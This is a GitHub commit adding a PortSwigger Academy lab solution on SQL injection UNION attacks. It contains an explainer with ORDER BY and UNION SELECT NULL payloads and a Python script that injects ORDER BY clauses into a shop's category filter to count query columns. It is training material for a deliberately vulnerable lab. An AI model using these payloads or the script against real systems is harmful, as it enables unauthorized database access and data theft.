Skip to content

Commit 99d52fb

Browse files
committed
add sqli 3 lab
1 parent 40e1d73 commit 99d52fb

File tree

3 files changed

+136
-0
lines changed

3 files changed

+136
-0
lines changed

port_swigger_academy/README.md

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
# Credits
2+
Credits for this code go to [Rana Khalil's YouTube Channel](https://www.youtube.com/channel/UCKaK-XPQAbznwIISC46b1oA).
Lines changed: 70 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,70 @@
1+
# SQL injection UNION attacks
2+
3+
When an application is vulnerable to SQL injection and the results of the query are returned within the application's responses, the `UNION` keyword can be used to retrieve data from other tables within the database. This results in an SQL injection UNION attack.
4+
5+
The `UNION` keyword lets you execute one or more additional `SELECT` queries and append the results to the original query. For example:
6+
7+
`SELECT a, b FROM table1 UNION SELECT c, d FROM table2`
8+
9+
This SQL query will return a single result set with two columns, containing values from columns `a` and `b` in `table1` and columns `c` and `d` in `table2`.
10+
11+
For a `UNION` query to work, two key requirements must be met:
12+
13+
- The individual queries must return the same number of columns.
14+
- The data types in each column must be compatible between the individual queries.
15+
16+
To carry out an SQL injection UNION attack, you need to ensure that your attack meets these two requirements. This generally involves figuring out:
17+
18+
- How many columns are being returned from the original query?
19+
- Which columns returned from the original query are of a suitable data type to hold the results from the injected query?
20+
21+
## Determining the number of columns required in an SQL injection UNION attack
22+
23+
When performing an SQL injection UNION attack, there are two effective methods to determine how many columns are being returned from the original query.
24+
25+
The first method involves injecting a series of `ORDER BY` clauses and incrementing the specified column index until an error occurs. For example, assuming the injection point is a quoted string within the `WHERE` clause of the original query, you would submit:
26+
27+
`' ORDER BY 1-- ' ORDER BY 2-- ' ORDER BY 3-- etc.`
28+
29+
This series of payloads modifies the original query to order the results by different columns in the result set. The column in an `ORDER BY` clause can be specified by its index, so you don't need to know the names of any columns. When the specified column index exceeds the number of actual columns in the result set, the database returns an error, such as:
30+
31+
`The ORDER BY position number 3 is out of range of the number of items in the select list.`
32+
33+
The application might actually return the database error in its HTTP response, or it might return a generic error, or simply return no results. Provided you can detect some difference in the application's response, you can infer how many columns are being returned from the query.
34+
35+
The second method involves submitting a series of `UNION SELECT` payloads specifying a different number of null values:
36+
37+
`' UNION SELECT NULL-- ' UNION SELECT NULL,NULL-- ' UNION SELECT NULL,NULL,NULL-- etc.`
38+
39+
If the number of nulls does not match the number of columns, the database returns an error, such as:
40+
41+
`All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists.`
42+
43+
Again, the application might actually return this error message, or might just return a generic error or no results. When the number of nulls matches the number of columns, the database returns an additional row in the result set, containing null values in each column. The effect on the resulting HTTP response depends on the application's code. If you are lucky, you will see some additional content within the response, such as an extra row on an HTML table. Otherwise, the null values might trigger a different error, such as a `NullPointerException`. Worst case, the response might be indistinguishable from that which is caused by an incorrect number of nulls, making this method of determining the column count ineffective.
44+
45+
#### Note
46+
47+
- The reason for using `NULL` as the values returned from the injected `SELECT` query is that the data types in each column must be compatible between the original and the injected queries. Since `NULL` is convertible to every commonly used data type, using `NULL` maximizes the chance that the payload will succeed when the column count is correct.
48+
- On Oracle, every `SELECT` query must use the `FROM` keyword and specify a valid table. There is a built-in table on Oracle called `dual` which can be used for this purpose. So the injected queries on Oracle would need to look like:
49+
50+
`' UNION SELECT NULL FROM DUAL--`
51+
- The payloads described use the double-dash comment sequence `--` to comment out the remainder of the original query following the injection point. On MySQL, the double-dash sequence must be followed by a space. Alternatively, the hash character `#` can be used to identify a comment.
52+
53+
For more details of database-specific syntax, see the [SQL injection cheat sheet](https://portswigger.net/web-security/sql-injection/cheat-sheet).
54+
55+
# Lab: SQL injection UNION attack, determining the number of columns returned by the query
56+
57+
This lab contains an SQL injection vulnerability in the product category filter. The results from the query are returned in the application's response, so you can use a UNION attack to retrieve data from other tables. The first step of such an attack is to determine the number of columns that are being returned by the query. You will then use this technique in subsequent labs to construct the full attack.
58+
59+
To solve the lab, determine the number of columns returned by the query by performing an [SQL injection UNION](https://portswigger.net/web-security/sql-injection/union-attacks) attack that returns an additional row containing null values.
60+
61+
# PoC
62+
```bash
63+
$ python3 sqli_lab_03.py https://ac0f1f641f2e33ebc0bd0xxxxxxxx.web-security-academy.net/
64+
65+
>> SQL injection UNION attack, determining the number of columns returned by the query
66+
>> by Port Swigger Academy
67+
68+
[*] Figuring out number of columns...
69+
[✓] The number of columns is 3.
70+
```
Lines changed: 64 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,64 @@
1+
#!/usr/bin/python3
2+
import requests
3+
import sys
4+
import urllib3
5+
6+
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
7+
8+
class Interface ():
9+
def __init__ (self):
10+
self.red = '\033[91m'
11+
self.green = '\033[92m'
12+
self.white = '\033[37m'
13+
self.yellow = '\033[93m'
14+
self.bold = '\033[1m'
15+
self.end = '\033[0m'
16+
17+
def header(self):
18+
print('\n >> SQL injection UNION attack, determining the number of columns returned by the query')
19+
print(' >> by Port Swigger Academy\n')
20+
21+
def info (self, message):
22+
print(f"[{self.white}*{self.end}] {message}")
23+
24+
def warning (self, message):
25+
print(f"[{self.yellow}!{self.end}] {message}")
26+
27+
def error (self, message):
28+
print(f"[{self.red}x{self.end}] {message}")
29+
30+
def success (self, message):
31+
print(f"[{self.green}{self.end}] {self.bold}{message}{self.end}")
32+
33+
# Instantiate our interface class
34+
global output
35+
output = Interface()
36+
output.header()
37+
38+
proxies = {"http":"http://127.0.0.1:8080", "https":"http://127.0.0.1:8080"}
39+
40+
def exploit_sqli_column_number(url):
41+
path = "filter?category=Gifts"
42+
for i in range(1,50):
43+
sql_payload = "'+ORDER+BY+%s--" %i
44+
r = requests.get(url + path + sql_payload, verify=False, proxies=proxies)
45+
res = r.text
46+
if "Internal Server Error" in res:
47+
return i - 1
48+
i = i + 1
49+
return False
50+
51+
if __name__ == "__main__":
52+
try:
53+
url = sys.argv[1].strip()
54+
except IndexError:
55+
output.info("Usage: %s <url>" % sys.argv[0])
56+
output.info("Example: %s www.example.com" % sys.argv[0])
57+
sys.exit(-1)
58+
59+
output.info("Figuring out number of columns...")
60+
num_col = exploit_sqli_column_number(url)
61+
if num_col:
62+
output.success("The number of columns is " + str(num_col) + ".")
63+
else:
64+
output.error("SQLi attack was not successful!")

0 commit comments

Comments
 (0)